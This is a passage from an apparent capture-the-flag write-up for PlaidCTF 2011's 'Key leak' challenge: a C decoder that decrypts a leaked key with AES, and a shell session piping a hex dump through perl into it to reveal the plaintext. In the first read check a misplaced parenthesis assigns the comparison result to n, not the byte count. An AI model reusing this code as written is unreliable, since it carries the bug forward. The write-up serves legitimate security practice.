	char salt[32], iv[16], buf[32], key[32];
	ssize_t n;

	if (((n = read(0, salt, sizeof(salt)) != sizeof(salt))
	||  ((n = read(0, iv, sizeof(iv)))) != sizeof(iv))
	||  ((n = read(0, buf, sizeof(buf))) != sizeof(buf))) {
		if (n == -1)
			perror("read");
		return 1;
	}

	n = aes_dec(buf, sizeof(buf), salt, iv, key);
	write(1, key, n);

	return 0;
}
je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ perl -pne 's{\s*}{}sgex;s{([0-9A-Fa-f][0-9A-Fa-f])}{chr(hex($1))}sgex' | ./decode_key
C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F
DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72
56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD
74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE
8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19
^D
I grow tomatoes in my garden.